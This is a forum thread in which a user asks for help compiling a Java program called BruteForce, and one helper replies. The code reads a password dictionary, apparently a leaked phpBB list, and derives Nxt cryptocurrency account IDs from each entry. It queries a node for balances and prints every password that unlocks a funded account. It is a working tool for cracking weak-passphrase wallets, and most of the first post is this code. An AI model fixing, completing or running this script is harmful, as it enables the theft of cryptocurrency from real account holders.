Compiling Java

Please use this forum to ask our resident IT geeks advice.
Post Reply
User avatar
Miztaziggy
Posts: 2451
Joined: Fri Apr 15, 2011 9:15 pm
Location: Tadcaster

Compiling Java

Post by Miztaziggy »

Anyone on here know how?

I tried to compile this java programme and I get the following error:

BruteForce.java:27: error: cannot access HttpServlet
byte[] id = Nxt.Crypto.getPublicKey(input);
^
class file for javax.servlet.http.HttpServlet not found
1 error




The script compiling is here:


import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.math.BigInteger;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.MessageDigest;

public class BruteForce {
public static void main(String[] args) throws Exception {

// Password dictionary
FileInputStream fstream = new FileInputStream("/phpbb.txt");
BufferedReader br = new BufferedReader(new InputStreamReader(new DataInputStream(fstream)));
// Read File Line By Line
String input;
long counter = 0;
Long start = System.currentTimeMillis();
while ((input = br.readLine()) != null) {
if(counter%1000000 == 0){
System.out.println(counter + ": " + input);
}
counter++;

// Generate ID using published class
byte[] id = Nxt.Crypto.getPublicKey(input);
// We could use getId, but we get a weird signed/unsigned problem
byte[] id2 = MessageDigest.getInstance("SHA-256").digest(id);
// Get account ID
BigInteger bi = new BigInteger(1, new byte[]{id2[7],id2[6],id2[5],id2[4],id2[3],id2[2],id2[1],id2[0]});

// Request balance for ID
String url = "http://localhost:7874/nxt?requestType=g ... e&account=" + bi.toString();
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
// Check for Accounts with a balance bigger than 0
if (!response.toString().contains("balance\":0")) {
System.out.println("Found:" + input);
}
}
System.out.println("Speed (tries/sec): " + counter*1000/(System.currentTimeMillis()-start));
br.close();
}
}
Image
Virt
Posts: 6793
Joined: Wed Dec 12, 2012 12:35 pm
Location: Leicestershire

Re: Compiling Java

Post by Virt »

Not one I've seen before :confused

I'll see if anyone at work knows Java better than I tomorrow, though
Slowly approaching the more bikes than birthdays achievement
User avatar
Miztaziggy
Posts: 2451
Joined: Fri Apr 15, 2011 9:15 pm
Location: Tadcaster

Re: Compiling Java

Post by Miztaziggy »

Ahh, I may have gotten a little bit further now.

Found out that I needed J2EE which has the servlet but I had version 1.4 and now I am getting this:

class file has wrong version 51.0, should be 49.0
Please remove or make sure it appears in the correct subdirectory of the classpa
th.
byte[] id = Nxt.Crypto.getPublicKey(input);
^
1 error


Downloading 1.6 now so hopefully will solve

**edit**

Nope, didn't solve it, same error as original one
Image
Virt
Posts: 6793
Joined: Wed Dec 12, 2012 12:35 pm
Location: Leicestershire

Re: Compiling Java

Post by Virt »

No one at work knows anything about Java apparently, and I don't fully understand what the script is doing.

Looking through the source properly now but don't expect miracles. I stopped using Java a while ago.

Where abouts did you get the script from?
Slowly approaching the more bikes than birthdays achievement
Post Reply